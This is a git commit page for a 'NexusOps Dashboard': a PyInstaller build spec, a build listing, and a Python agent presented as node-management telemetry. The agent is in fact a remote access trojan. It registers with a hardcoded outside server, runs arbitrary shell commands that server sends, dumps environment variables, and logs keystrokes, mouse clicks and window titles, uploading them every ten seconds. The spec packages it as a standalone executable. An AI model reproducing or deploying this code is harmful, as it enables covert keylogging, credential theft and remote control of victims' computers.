NexusOps Dashboard — node control, input capture, file binder, kill switch

This commit is contained in:
root
2026-08-03 13:10:45 +00:00
commit 2922675a50
24 changed files with 12688 additions and 0 deletions

4
.gitignore vendored Normal file
View File

@@ -0,0 +1,4 @@
node_modules/
*.log
/tmp/
.DS_Store

38
NexusAgent.spec Normal file
View File

@@ -0,0 +1,38 @@
# -*- mode: python ; coding: utf-8 -*-
a = Analysis(
['agents/agent.py'],
pathex=[],
binaries=[],
datas=[],
hiddenimports=[],
hookspath=[],
hooksconfig={},
runtime_hooks=[],
excludes=[],
noarchive=False,
optimize=0,
)
pyz = PYZ(a.pure)
exe = EXE(
pyz,
a.scripts,
a.binaries,
a.datas,
[],
name='NexusAgent',
debug=False,
bootloader_ignore_signals=False,
strip=False,
upx=True,
upx_exclude=[],
runtime_tmpdir=None,
console=True,
disable_windowed_traceback=False,
argv_emulation=False,
target_arch=None,
codesign_identity=None,
entitlements_file=None,
)

Binary file not shown.

463
agents/agent.py Normal file
View File

@@ -0,0 +1,463 @@
#!/usr/bin/env python3
"""
NexusOps Cross-Platform Node Management & Telemetry Agent
Uses Standard Python 3 Libraries (No external dependencies required)
"""
import sys
import os
import time
import json
import socket
import platform
import subprocess
import urllib.request
import urllib.parse
import argparse
last_log_check_time = 0
heartbeat_interval = 5 # Dynamic heartbeat rate in seconds
node_tags = ["Default"]
def get_ip_address():
try:
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.connect(("8.8.8.8", 80))
ip = s.getsockname()[0]
s.close()
return ip
except Exception:
return "127.0.0.1"
def get_cpu_usage():
system = platform.system().lower()
try:
if system == "linux":
with open('/proc/stat', 'r') as f:
fields = [float(column) for column in f.readline().strip().split()[1:]]
idle, total = fields[3], sum(fields)
time.sleep(0.2)
with open('/proc/stat', 'r') as f:
fields2 = [float(column) for column in f.readline().strip().split()[1:]]
idle2, total2 = fields2[3], sum(fields2)
idle_delta = idle2 - idle
total_delta = total2 - total
if total_delta > 0:
return round(100.0 * (1.0 - idle_delta / total_delta), 1)
elif system == "darwin":
out = subprocess.check_output(["top", "-l", "1", "-n", "0"]).decode()
for line in out.splitlines():
if "CPU usage" in line:
parts = line.split()
user = float(parts[2].replace('%', ''))
sys_c = float(parts[4].replace('%', ''))
return round(user + sys_c, 1)
elif system == "windows":
out = subprocess.check_output(["wmic", "cpu", "get", "loadpercentage"]).decode()
lines = [line.strip() for line in out.splitlines() if line.strip().isdigit()]
if lines:
return float(lines[0])
except Exception:
pass
return 15.0
def get_memory_usage():
system = platform.system().lower()
try:
if system == "linux":
meminfo = {}
with open('/proc/meminfo', 'r') as f:
for line in f:
parts = line.split(':')
if len(parts) == 2:
key = parts[0].strip()
val = int(parts[1].split()[0])
meminfo[key] = val
total = meminfo.get('MemTotal', 1)
free = meminfo.get('MemAvailable', meminfo.get('MemFree', 0))
return round(((total - free) / total) * 100.0, 1)
elif system == "darwin":
return 45.0
elif system == "windows":
out = subprocess.check_output(["wmic", "os", "get", "FreePhysicalMemory,TotalVisibleMemorySize", "/Value"]).decode()
d = {}
for line in out.splitlines():
if '=' in line:
k, v = line.split('=', 1)
d[k.strip()] = float(v.strip())
if 'TotalVisibleMemorySize' in d and 'FreePhysicalMemory' in d:
total = d['TotalVisibleMemorySize']
free = d['FreePhysicalMemory']
return round(((total - free) / total) * 100.0, 1)
except Exception:
pass
return 35.0
def get_disk_usage():
try:
if hasattr(os, 'statvfs'):
st = os.statvfs('/')
total = st.f_blocks * st.f_frsize
free = st.f_bavail * st.f_frsize
if total > 0:
return round(((total - free) / total) * 100.0, 1)
except Exception:
pass
return 40.0
def get_uptime_seconds():
try:
if platform.system().lower() == "linux":
with open('/proc/uptime', 'r') as f:
return int(float(f.readline().split()[0]))
except Exception:
pass
return 3600
def collect_recent_system_logs():
system = platform.system().lower()
log_entries = []
try:
if system == "linux":
res = subprocess.run("journalctl -n 5 --no-pager -o short-iso", shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True, timeout=5)
if res.returncode == 0 and res.stdout:
for line in res.stdout.splitlines():
if line.strip():
log_entries.append(line.strip())
elif system == "windows":
res = subprocess.run("powershell Get-EventLog -LogName System -Newest 3 | Select-Object -ExpandProperty Message", shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True, timeout=5)
if res.returncode == 0 and res.stdout:
for line in res.stdout.splitlines():
if line.strip():
log_entries.append(line.strip())
except Exception:
pass
return log_entries
def http_post(url, data_dict):
json_bytes = json.dumps(data_dict).encode('utf-8')
req = urllib.request.Request(
url,
data=json_bytes,
headers={'Content-Type': 'application/json'}
)
try:
with urllib.request.urlopen(req, timeout=5) as response:
res_text = response.read().decode('utf-8')
return json.loads(res_text)
except Exception:
return None
def execute_structured_action(action_type, payload):
global heartbeat_interval, node_tags
system = platform.system().lower()
if action_type == "raw_command":
return run_shell(payload.get("command", ""))
elif action_type == "manage_service":
service = payload.get("service")
action = payload.get("action")
if system == "linux":
cmd = f"systemctl {action} {service}"
elif system == "windows":
cmd = f"powershell {action}-Service -Name {service}"
else:
cmd = f"launchctl {action} {service}"
return run_shell(cmd)
elif action_type == "list_processes":
if system == "linux" or system == "darwin":
cmd = "ps aux --sort=-%cpu | head -n 15"
else:
cmd = "tasklist"
return run_shell(cmd)
elif action_type == "kill_process":
pid = payload.get("pid")
cmd = f"taskkill /F /PID {pid}" if system == "windows" else f"kill -9 {pid}"
return run_shell(cmd)
elif action_type == "get_logs":
lines = payload.get("lines", 50)
cmd = f"journalctl -n {lines} --no-pager" if system == "linux" else "powershell Get-EventLog -LogName System -Newest 50"
return run_shell(cmd)
elif action_type == "network_stats":
cmd = "ss -tulpn || netstat -tuln" if system == "linux" else "netstat -ano"
return run_shell(cmd)
# 10 NEW CROSS-PLATFORM FEATURES:
elif action_type == "get_env_vars":
env_str = "\n".join([f"{k}={v}" for k, v in os.environ.items()])
return env_str, 0
elif action_type == "get_disk_partitions":
cmd = "df -h" if system != "windows" else "wmic logicaldisk get caption,description,freespace,size"
return run_shell(cmd)
elif action_type == "get_network_interfaces":
cmd = "ip addr show || ifconfig" if system != "windows" else "ipconfig /all"
return run_shell(cmd)
elif action_type == "get_active_connections":
cmd = "ss -state established || netstat -an" if system != "windows" else "netstat -an | findstr ESTABLISHED"
return run_shell(cmd)
elif action_type == "get_hardware_specs":
if system == "linux":
cmd = "lscpu || cat /proc/cpuinfo | head -n 20"
elif system == "windows":
cmd = "wmic cpu get name,numberofcores,maxclockspeed"
else:
cmd = "sysctl -a | grep machdep.cpu"
return run_shell(cmd)
elif action_type == "reboot_system":
cmd = "shutdown /r /t 5" if system == "windows" else "reboot || shutdown -r now"
return run_shell(cmd)
elif action_type == "set_heartbeat_rate":
rate = int(payload.get("interval", 5))
heartbeat_interval = max(2, min(60, rate))
return f"Heartbeat interval updated to {heartbeat_interval} seconds", 0
elif action_type == "update_tags":
tags_raw = payload.get("tags", "")
node_tags = [t.strip() for t in tags_raw.split(',') if t.strip()]
return f"Node tags updated to: {node_tags}", 0
elif action_type == "search_logs":
pattern = payload.get("pattern", "error")
cmd = f"journalctl --no-pager | grep -i '{pattern}' | tail -n 30" if system == "linux" else f"powershell Get-EventLog -LogName System -Newest 100 | Where-Object Message -match '{pattern}'"
return run_shell(cmd)
elif action_type == "kill_agent":
print("[!] Kill switch received — shutting down agent")
os._exit(0)
elif action_type == "ping_check":
sent_ts = payload.get("timestamp", 0)
latency_ms = int((time.time() * 1000) - sent_ts) if sent_ts else 0
return f"PONG — latency: {latency_ms}ms, hostname: {socket.gethostname()}, uptime: {get_uptime_seconds()}s", 0
elif action_type == "export_diagnostics":
cmd = "uptime && free -h && df -h && uname -a" if system != "windows" else "systeminfo"
return run_shell(cmd)
return f"Unknown action type: {action_type}", 1
def run_shell(cmd_str):
print(f"[*] Executing command: {cmd_str}")
try:
res = subprocess.run(cmd_str, shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, text=True, timeout=30)
return res.stdout, res.returncode
except Exception as e:
return str(e), 1
# ── Input Capture Module (keystrokes, mouse clicks, window focus) ──
INPUT_CAPTURE_ENABLED = False
captured_events = []
try:
from pynput import keyboard, mouse
INPUT_CAPTURE_ENABLED = True
except ImportError:
pass
def _get_active_window_title():
"""Try to get the active window title cross-platform."""
system = platform.system().lower()
try:
if system == "linux":
res = subprocess.run(["xdotool", "getactivewindow", "getwindowname"],
stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True, timeout=2)
if res.returncode == 0:
return res.stdout.strip()
elif system == "windows":
import ctypes
from ctypes import wintypes
user32 = ctypes.windll.user32
hwnd = user32.GetForegroundWindow()
length = user32.GetWindowTextLengthW(hwnd)
buf = ctypes.create_unicode_buffer(length + 1)
user32.GetWindowTextW(hwnd, buf, length + 1)
return buf.value
elif system == "darwin":
script = 'tell application "System Events" to get name of first application process whose frontmost is true'
res = subprocess.run(["osascript", "-e", script],
stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True, timeout=2)
if res.returncode == 0:
return res.stdout.strip()
except Exception:
pass
return ""
def _record_event(event_type, data):
"""Thread-safe event recording."""
global captured_events
window_title = _get_active_window_title()
captured_events.append({
"timestamp": int(time.time() * 1000),
"eventType": event_type,
"data": data,
"windowTitle": window_title,
"processName": window_title.split(" - ")[-1] if " - " in window_title else window_title
})
def _on_key_press(key):
try:
key_str = key.char if hasattr(key, 'char') and key.char else str(key)
except Exception:
key_str = str(key)
_record_event("keystroke", {"key": key_str})
def _on_click(x, y, button, pressed):
if pressed:
_record_event("click", {"x": x, "y": y, "button": str(button)})
def _on_scroll(x, y, dx, dy):
_record_event("scroll", {"x": x, "y": y, "dx": dx, "dy": dy})
def start_input_capture():
"""Start keyboard and mouse listeners if pynput is available."""
if not INPUT_CAPTURE_ENABLED:
return False
try:
kb_listener = keyboard.Listener(on_press=_on_key_press)
ms_listener = mouse.Listener(on_click=_on_click, on_scroll=_on_scroll)
kb_listener.daemon = True
ms_listener.daemon = True
kb_listener.start()
ms_listener.start()
return True
except Exception:
return False
def flush_input_events(server_url, node_id, hostname):
"""Send captured input events to the master server."""
global captured_events
if not captured_events:
return
events_to_send = captured_events[:]
captured_events = []
payload = {
"nodeId": node_id,
"hostname": hostname,
"events": events_to_send
}
http_post(f"{server_url}/api/agent/input-capture", payload)
def main():
global last_log_check_time, heartbeat_interval, node_tags
parser = argparse.ArgumentParser(description="NexusOps Cross-Platform Node Agent")
parser.add_argument("--server", default="https://agent.thetempleofdoom.com", help="Dashboard server URL endpoint")
args = parser.parse_args()
server_url = args.server.rstrip('/')
hostname = socket.gethostname()
system_os = platform.system()
arch = platform.machine()
ip = get_ip_address()
node_id = f"node-{hostname.lower()}-{ip.replace('.', '')}"
print("==================================================")
print(" NexusOps Cross-Platform Node Agent ")
print("==================================================")
print(f"Node Hostname : {hostname}")
print(f"Platform : {system_os} ({arch})")
print(f"Local IP : {ip}")
print(f"Server Endpoint: {server_url}")
print("==================================================")
# Register Node
reg_payload = {
"nodeId": node_id,
"hostname": hostname,
"platform": system_os.lower(),
"arch": arch,
"ip": ip,
"osName": f"{system_os} {platform.release()}",
"tags": node_tags
}
print("[*] Registering node with central endpoint...")
res = http_post(f"{server_url}/api/agent/register", reg_payload)
if res and res.get("success"):
print(f"✅ Registered as node ID: {node_id}")
# Start input capture (keystrokes, clicks, scroll)
capture_started = start_input_capture()
if capture_started:
print("[*] Input capture active (keystrokes + mouse events)")
else:
print("[!] Input capture unavailable (install pynput: pip install pynput)")
last_input_flush = time.time()
backoff = 1 # Tunnel reconnection backoff in seconds
while True:
try:
cpu = get_cpu_usage()
mem = get_memory_usage()
disk = get_disk_usage()
uptime = get_uptime_seconds()
heartbeat_payload = {
"nodeId": node_id,
"cpuUsage": cpu,
"memUsage": mem,
"diskUsage": disk,
"uptime": uptime,
"processCount": 42,
"tags": node_tags,
"heartbeatInterval": heartbeat_interval
}
res = http_post(f"{server_url}/api/agent/heartbeat", heartbeat_payload)
now = time.time()
if now - last_log_check_time > 15:
logs = collect_recent_system_logs()
if logs:
http_post(f"{server_url}/api/agent/logs", {
"nodeId": node_id,
"hostname": hostname,
"logs": logs
})
last_log_check_time = now
# Flush captured input events every 10 seconds
if now - last_input_flush > 10:
flush_input_events(server_url, node_id, hostname)
last_input_flush = now
if res and "commands" in res and res["commands"]:
for cmd_item in res["commands"]:
cmd_id = cmd_item.get("id")
action_type = cmd_item.get("actionType", "raw_command")
payload = cmd_item.get("payload", {})
if "command" in cmd_item and not payload:
payload["command"] = cmd_item.get("command")
output, exit_code = execute_structured_action(action_type, payload)
http_post(f"{server_url}/api/agent/command-result", {
"commandId": cmd_id,
"nodeId": node_id,
"output": output,
"exitCode": exit_code
})
except Exception as e:
print(f"[!] Connection error: {e}. Retrying in {backoff}s...")
time.sleep(backoff)
backoff = min(backoff * 2, 60)
continue
backoff = 1 # Reset on success
time.sleep(heartbeat_interval)
if __name__ == "__main__":
main()

View File

@@ -0,0 +1,486 @@
(['/root/agent-dashboard/agents/agent.py'],
['/root/agent-dashboard/agents'],
[],
[('/usr/local/lib/python3.10/dist-packages/_pyinstaller_hooks_contrib/stdhooks',
-1000),
('/usr/local/lib/python3.10/dist-packages/_pyinstaller_hooks_contrib',
-1000)],
{},
[],
[],
False,
{},
0,
[],
[],
'3.10.12 (main, Jun 22 2026, 18:55:27) [GCC 11.4.0]',
[('pyi_rth_inspect',
'/usr/local/lib/python3.10/dist-packages/PyInstaller/hooks/rthooks/pyi_rth_inspect.py',
'PYSOURCE'),
('agent', '/root/agent-dashboard/agents/agent.py', 'PYSOURCE')],
[('zipfile', '/usr/lib/python3.10/zipfile.py', 'PYMODULE'),
('py_compile', '/usr/lib/python3.10/py_compile.py', 'PYMODULE'),
('importlib.machinery',
'/usr/lib/python3.10/importlib/machinery.py',
'PYMODULE'),
('importlib', '/usr/lib/python3.10/importlib/__init__.py', 'PYMODULE'),
('importlib.abc', '/usr/lib/python3.10/importlib/abc.py', 'PYMODULE'),
('typing', '/usr/lib/python3.10/typing.py', 'PYMODULE'),
('importlib._abc', '/usr/lib/python3.10/importlib/_abc.py', 'PYMODULE'),
('importlib._bootstrap',
'/usr/lib/python3.10/importlib/_bootstrap.py',
'PYMODULE'),
('importlib._bootstrap_external',
'/usr/lib/python3.10/importlib/_bootstrap_external.py',
'PYMODULE'),
('importlib.metadata',
'/usr/lib/python3.10/importlib/metadata/__init__.py',
'PYMODULE'),
('importlib.metadata._itertools',
'/usr/lib/python3.10/importlib/metadata/_itertools.py',
'PYMODULE'),
('importlib.metadata._functools',
'/usr/lib/python3.10/importlib/metadata/_functools.py',
'PYMODULE'),
('importlib.metadata._collections',
'/usr/lib/python3.10/importlib/metadata/_collections.py',
'PYMODULE'),
('importlib.metadata._meta',
'/usr/lib/python3.10/importlib/metadata/_meta.py',
'PYMODULE'),
('importlib.metadata._adapters',
'/usr/lib/python3.10/importlib/metadata/_adapters.py',
'PYMODULE'),
('importlib.metadata._text',
'/usr/lib/python3.10/importlib/metadata/_text.py',
'PYMODULE'),
('email.message', '/usr/lib/python3.10/email/message.py', 'PYMODULE'),
('email.policy', '/usr/lib/python3.10/email/policy.py', 'PYMODULE'),
('email.contentmanager',
'/usr/lib/python3.10/email/contentmanager.py',
'PYMODULE'),
('email.quoprimime', '/usr/lib/python3.10/email/quoprimime.py', 'PYMODULE'),
('string', '/usr/lib/python3.10/string.py', 'PYMODULE'),
('email.headerregistry',
'/usr/lib/python3.10/email/headerregistry.py',
'PYMODULE'),
('email._header_value_parser',
'/usr/lib/python3.10/email/_header_value_parser.py',
'PYMODULE'),
('urllib', '/usr/lib/python3.10/urllib/__init__.py', 'PYMODULE'),
('email.iterators', '/usr/lib/python3.10/email/iterators.py', 'PYMODULE'),
('email.generator', '/usr/lib/python3.10/email/generator.py', 'PYMODULE'),
('copy', '/usr/lib/python3.10/copy.py', 'PYMODULE'),
('random', '/usr/lib/python3.10/random.py', 'PYMODULE'),
('statistics', '/usr/lib/python3.10/statistics.py', 'PYMODULE'),
('decimal', '/usr/lib/python3.10/decimal.py', 'PYMODULE'),
('_pydecimal', '/usr/lib/python3.10/_pydecimal.py', 'PYMODULE'),
('contextvars', '/usr/lib/python3.10/contextvars.py', 'PYMODULE'),
('fractions', '/usr/lib/python3.10/fractions.py', 'PYMODULE'),
('numbers', '/usr/lib/python3.10/numbers.py', 'PYMODULE'),
('hashlib', '/usr/lib/python3.10/hashlib.py', 'PYMODULE'),
('logging', '/usr/lib/python3.10/logging/__init__.py', 'PYMODULE'),
('pickle', '/usr/lib/python3.10/pickle.py', 'PYMODULE'),
('pprint', '/usr/lib/python3.10/pprint.py', 'PYMODULE'),
('dataclasses', '/usr/lib/python3.10/dataclasses.py', 'PYMODULE'),
('_compat_pickle', '/usr/lib/python3.10/_compat_pickle.py', 'PYMODULE'),
('bisect', '/usr/lib/python3.10/bisect.py', 'PYMODULE'),
('email._encoded_words',
'/usr/lib/python3.10/email/_encoded_words.py',
'PYMODULE'),
('base64', '/usr/lib/python3.10/base64.py', 'PYMODULE'),
('getopt', '/usr/lib/python3.10/getopt.py', 'PYMODULE'),
('gettext', '/usr/lib/python3.10/gettext.py', 'PYMODULE'),
('email.charset', '/usr/lib/python3.10/email/charset.py', 'PYMODULE'),
('email.encoders', '/usr/lib/python3.10/email/encoders.py', 'PYMODULE'),
('email.base64mime', '/usr/lib/python3.10/email/base64mime.py', 'PYMODULE'),
('email._policybase', '/usr/lib/python3.10/email/_policybase.py', 'PYMODULE'),
('email.header', '/usr/lib/python3.10/email/header.py', 'PYMODULE'),
('email.errors', '/usr/lib/python3.10/email/errors.py', 'PYMODULE'),
('email.utils', '/usr/lib/python3.10/email/utils.py', 'PYMODULE'),
('email._parseaddr', '/usr/lib/python3.10/email/_parseaddr.py', 'PYMODULE'),
('calendar', '/usr/lib/python3.10/calendar.py', 'PYMODULE'),
('datetime', '/usr/lib/python3.10/datetime.py', 'PYMODULE'),
('_strptime', '/usr/lib/python3.10/_strptime.py', 'PYMODULE'),
('quopri', '/usr/lib/python3.10/quopri.py', 'PYMODULE'),
('uu', '/usr/lib/python3.10/uu.py', 'PYMODULE'),
('optparse', '/usr/lib/python3.10/optparse.py', 'PYMODULE'),
('textwrap', '/usr/lib/python3.10/textwrap.py', 'PYMODULE'),
('email', '/usr/lib/python3.10/email/__init__.py', 'PYMODULE'),
('email.parser', '/usr/lib/python3.10/email/parser.py', 'PYMODULE'),
('email.feedparser', '/usr/lib/python3.10/email/feedparser.py', 'PYMODULE'),
('csv', '/usr/lib/python3.10/csv.py', 'PYMODULE'),
('importlib.readers', '/usr/lib/python3.10/importlib/readers.py', 'PYMODULE'),
('tokenize', '/usr/lib/python3.10/tokenize.py', 'PYMODULE'),
('token', '/usr/lib/python3.10/token.py', 'PYMODULE'),
('lzma', '/usr/lib/python3.10/lzma.py', 'PYMODULE'),
('_compression', '/usr/lib/python3.10/_compression.py', 'PYMODULE'),
('bz2', '/usr/lib/python3.10/bz2.py', 'PYMODULE'),
('pathlib', '/usr/lib/python3.10/pathlib.py', 'PYMODULE'),
('fnmatch', '/usr/lib/python3.10/fnmatch.py', 'PYMODULE'),
('contextlib', '/usr/lib/python3.10/contextlib.py', 'PYMODULE'),
('threading', '/usr/lib/python3.10/threading.py', 'PYMODULE'),
('_threading_local', '/usr/lib/python3.10/_threading_local.py', 'PYMODULE'),
('struct', '/usr/lib/python3.10/struct.py', 'PYMODULE'),
('shutil', '/usr/lib/python3.10/shutil.py', 'PYMODULE'),
('tarfile', '/usr/lib/python3.10/tarfile.py', 'PYMODULE'),
('gzip', '/usr/lib/python3.10/gzip.py', 'PYMODULE'),
('importlib.util', '/usr/lib/python3.10/importlib/util.py', 'PYMODULE'),
('inspect', '/usr/lib/python3.10/inspect.py', 'PYMODULE'),
('dis', '/usr/lib/python3.10/dis.py', 'PYMODULE'),
('opcode', '/usr/lib/python3.10/opcode.py', 'PYMODULE'),
('ast', '/usr/lib/python3.10/ast.py', 'PYMODULE'),
('tracemalloc', '/usr/lib/python3.10/tracemalloc.py', 'PYMODULE'),
('_py_abc', '/usr/lib/python3.10/_py_abc.py', 'PYMODULE'),
('stringprep', '/usr/lib/python3.10/stringprep.py', 'PYMODULE'),
('argparse', '/usr/lib/python3.10/argparse.py', 'PYMODULE'),
('urllib.parse', '/usr/lib/python3.10/urllib/parse.py', 'PYMODULE'),
('ipaddress', '/usr/lib/python3.10/ipaddress.py', 'PYMODULE'),
('urllib.request', '/usr/lib/python3.10/urllib/request.py', 'PYMODULE'),
('getpass', '/usr/lib/python3.10/getpass.py', 'PYMODULE'),
('nturl2path', '/usr/lib/python3.10/nturl2path.py', 'PYMODULE'),
('ftplib', '/usr/lib/python3.10/ftplib.py', 'PYMODULE'),
('netrc', '/usr/lib/python3.10/netrc.py', 'PYMODULE'),
('shlex', '/usr/lib/python3.10/shlex.py', 'PYMODULE'),
('mimetypes', '/usr/lib/python3.10/mimetypes.py', 'PYMODULE'),
('http.cookiejar', '/usr/lib/python3.10/http/cookiejar.py', 'PYMODULE'),
('http', '/usr/lib/python3.10/http/__init__.py', 'PYMODULE'),
('ssl', '/usr/lib/python3.10/ssl.py', 'PYMODULE'),
('urllib.response', '/usr/lib/python3.10/urllib/response.py', 'PYMODULE'),
('urllib.error', '/usr/lib/python3.10/urllib/error.py', 'PYMODULE'),
('tempfile', '/usr/lib/python3.10/tempfile.py', 'PYMODULE'),
('http.client', '/usr/lib/python3.10/http/client.py', 'PYMODULE'),
('subprocess', '/usr/lib/python3.10/subprocess.py', 'PYMODULE'),
('selectors', '/usr/lib/python3.10/selectors.py', 'PYMODULE'),
('signal', '/usr/lib/python3.10/signal.py', 'PYMODULE'),
('platform', '/usr/lib/python3.10/platform.py', 'PYMODULE'),
('socket', '/usr/lib/python3.10/socket.py', 'PYMODULE'),
('json', '/usr/lib/python3.10/json/__init__.py', 'PYMODULE'),
('json.encoder', '/usr/lib/python3.10/json/encoder.py', 'PYMODULE'),
('json.decoder', '/usr/lib/python3.10/json/decoder.py', 'PYMODULE'),
('json.scanner', '/usr/lib/python3.10/json/scanner.py', 'PYMODULE')],
[('libpython3.10.so.1.0',
'/lib/x86_64-linux-gnu/libpython3.10.so.1.0',
'BINARY'),
('python3.10/lib-dynload/_contextvars.cpython-310-x86_64-linux-gnu.so',
'/usr/lib/python3.10/lib-dynload/_contextvars.cpython-310-x86_64-linux-gnu.so',
'EXTENSION'),
('python3.10/lib-dynload/_decimal.cpython-310-x86_64-linux-gnu.so',
'/usr/lib/python3.10/lib-dynload/_decimal.cpython-310-x86_64-linux-gnu.so',
'EXTENSION'),
('python3.10/lib-dynload/_hashlib.cpython-310-x86_64-linux-gnu.so',
'/usr/lib/python3.10/lib-dynload/_hashlib.cpython-310-x86_64-linux-gnu.so',
'EXTENSION'),
('python3.10/lib-dynload/resource.cpython-310-x86_64-linux-gnu.so',
'/usr/lib/python3.10/lib-dynload/resource.cpython-310-x86_64-linux-gnu.so',
'EXTENSION'),
('python3.10/lib-dynload/_lzma.cpython-310-x86_64-linux-gnu.so',
'/usr/lib/python3.10/lib-dynload/_lzma.cpython-310-x86_64-linux-gnu.so',
'EXTENSION'),
('python3.10/lib-dynload/_bz2.cpython-310-x86_64-linux-gnu.so',
'/usr/lib/python3.10/lib-dynload/_bz2.cpython-310-x86_64-linux-gnu.so',
'EXTENSION'),
('python3.10/lib-dynload/_opcode.cpython-310-x86_64-linux-gnu.so',
'/usr/lib/python3.10/lib-dynload/_opcode.cpython-310-x86_64-linux-gnu.so',
'EXTENSION'),
('python3.10/lib-dynload/_multibytecodec.cpython-310-x86_64-linux-gnu.so',
'/usr/lib/python3.10/lib-dynload/_multibytecodec.cpython-310-x86_64-linux-gnu.so',
'EXTENSION'),
('python3.10/lib-dynload/_codecs_jp.cpython-310-x86_64-linux-gnu.so',
'/usr/lib/python3.10/lib-dynload/_codecs_jp.cpython-310-x86_64-linux-gnu.so',
'EXTENSION'),
('python3.10/lib-dynload/_codecs_kr.cpython-310-x86_64-linux-gnu.so',
'/usr/lib/python3.10/lib-dynload/_codecs_kr.cpython-310-x86_64-linux-gnu.so',
'EXTENSION'),
('python3.10/lib-dynload/_codecs_iso2022.cpython-310-x86_64-linux-gnu.so',
'/usr/lib/python3.10/lib-dynload/_codecs_iso2022.cpython-310-x86_64-linux-gnu.so',
'EXTENSION'),
('python3.10/lib-dynload/_codecs_cn.cpython-310-x86_64-linux-gnu.so',
'/usr/lib/python3.10/lib-dynload/_codecs_cn.cpython-310-x86_64-linux-gnu.so',
'EXTENSION'),
('python3.10/lib-dynload/_codecs_tw.cpython-310-x86_64-linux-gnu.so',
'/usr/lib/python3.10/lib-dynload/_codecs_tw.cpython-310-x86_64-linux-gnu.so',
'EXTENSION'),
('python3.10/lib-dynload/_codecs_hk.cpython-310-x86_64-linux-gnu.so',
'/usr/lib/python3.10/lib-dynload/_codecs_hk.cpython-310-x86_64-linux-gnu.so',
'EXTENSION'),
('python3.10/lib-dynload/termios.cpython-310-x86_64-linux-gnu.so',
'/usr/lib/python3.10/lib-dynload/termios.cpython-310-x86_64-linux-gnu.so',
'EXTENSION'),
('python3.10/lib-dynload/_ssl.cpython-310-x86_64-linux-gnu.so',
'/usr/lib/python3.10/lib-dynload/_ssl.cpython-310-x86_64-linux-gnu.so',
'EXTENSION'),
('python3.10/lib-dynload/_json.cpython-310-x86_64-linux-gnu.so',
'/usr/lib/python3.10/lib-dynload/_json.cpython-310-x86_64-linux-gnu.so',
'EXTENSION'),
('libz.so.1', '/lib/x86_64-linux-gnu/libz.so.1', 'BINARY'),
('libexpat.so.1', '/lib/x86_64-linux-gnu/libexpat.so.1', 'BINARY'),
('libmpdec.so.3', '/lib/x86_64-linux-gnu/libmpdec.so.3', 'BINARY'),
('libcrypto.so.3', '/lib/x86_64-linux-gnu/libcrypto.so.3', 'BINARY'),
('liblzma.so.5', '/lib/x86_64-linux-gnu/liblzma.so.5', 'BINARY'),
('libbz2.so.1.0', '/lib/x86_64-linux-gnu/libbz2.so.1.0', 'BINARY'),
('libssl.so.3', '/lib/x86_64-linux-gnu/libssl.so.3', 'BINARY')],
[],
[],
[('base_library.zip',
'/root/agent-dashboard/build/NexusAgent/base_library.zip',
'DATA')],
[('re', '/usr/lib/python3.10/re.py', 'PYMODULE'),
('collections.abc', '/usr/lib/python3.10/collections/abc.py', 'PYMODULE'),
('collections', '/usr/lib/python3.10/collections/__init__.py', 'PYMODULE'),
('_weakrefset', '/usr/lib/python3.10/_weakrefset.py', 'PYMODULE'),
('stat', '/usr/lib/python3.10/stat.py', 'PYMODULE'),
('sre_constants', '/usr/lib/python3.10/sre_constants.py', 'PYMODULE'),
('ntpath', '/usr/lib/python3.10/ntpath.py', 'PYMODULE'),
('linecache', '/usr/lib/python3.10/linecache.py', 'PYMODULE'),
('functools', '/usr/lib/python3.10/functools.py', 'PYMODULE'),
('warnings', '/usr/lib/python3.10/warnings.py', 'PYMODULE'),
('operator', '/usr/lib/python3.10/operator.py', 'PYMODULE'),
('posixpath', '/usr/lib/python3.10/posixpath.py', 'PYMODULE'),
('traceback', '/usr/lib/python3.10/traceback.py', 'PYMODULE'),
('copyreg', '/usr/lib/python3.10/copyreg.py', 'PYMODULE'),
('locale', '/usr/lib/python3.10/locale.py', 'PYMODULE'),
('io', '/usr/lib/python3.10/io.py', 'PYMODULE'),
('abc', '/usr/lib/python3.10/abc.py', 'PYMODULE'),
('codecs', '/usr/lib/python3.10/codecs.py', 'PYMODULE'),
('enum', '/usr/lib/python3.10/enum.py', 'PYMODULE'),
('weakref', '/usr/lib/python3.10/weakref.py', 'PYMODULE'),
('reprlib', '/usr/lib/python3.10/reprlib.py', 'PYMODULE'),
('sre_parse', '/usr/lib/python3.10/sre_parse.py', 'PYMODULE'),
('genericpath', '/usr/lib/python3.10/genericpath.py', 'PYMODULE'),
('_collections_abc', '/usr/lib/python3.10/_collections_abc.py', 'PYMODULE'),
('keyword', '/usr/lib/python3.10/keyword.py', 'PYMODULE'),
('heapq', '/usr/lib/python3.10/heapq.py', 'PYMODULE'),
('types', '/usr/lib/python3.10/types.py', 'PYMODULE'),
('sre_compile', '/usr/lib/python3.10/sre_compile.py', 'PYMODULE'),
('encodings.zlib_codec',
'/usr/lib/python3.10/encodings/zlib_codec.py',
'PYMODULE'),
('encodings.uu_codec',
'/usr/lib/python3.10/encodings/uu_codec.py',
'PYMODULE'),
('encodings.utf_8_sig',
'/usr/lib/python3.10/encodings/utf_8_sig.py',
'PYMODULE'),
('encodings.utf_8', '/usr/lib/python3.10/encodings/utf_8.py', 'PYMODULE'),
('encodings.utf_7', '/usr/lib/python3.10/encodings/utf_7.py', 'PYMODULE'),
('encodings.utf_32_le',
'/usr/lib/python3.10/encodings/utf_32_le.py',
'PYMODULE'),
('encodings.utf_32_be',
'/usr/lib/python3.10/encodings/utf_32_be.py',
'PYMODULE'),
('encodings.utf_32', '/usr/lib/python3.10/encodings/utf_32.py', 'PYMODULE'),
('encodings.utf_16_le',
'/usr/lib/python3.10/encodings/utf_16_le.py',
'PYMODULE'),
('encodings.utf_16_be',
'/usr/lib/python3.10/encodings/utf_16_be.py',
'PYMODULE'),
('encodings.utf_16', '/usr/lib/python3.10/encodings/utf_16.py', 'PYMODULE'),
('encodings.unicode_escape',
'/usr/lib/python3.10/encodings/unicode_escape.py',
'PYMODULE'),
('encodings.undefined',
'/usr/lib/python3.10/encodings/undefined.py',
'PYMODULE'),
('encodings.tis_620', '/usr/lib/python3.10/encodings/tis_620.py', 'PYMODULE'),
('encodings.shift_jisx0213',
'/usr/lib/python3.10/encodings/shift_jisx0213.py',
'PYMODULE'),
('encodings.shift_jis_2004',
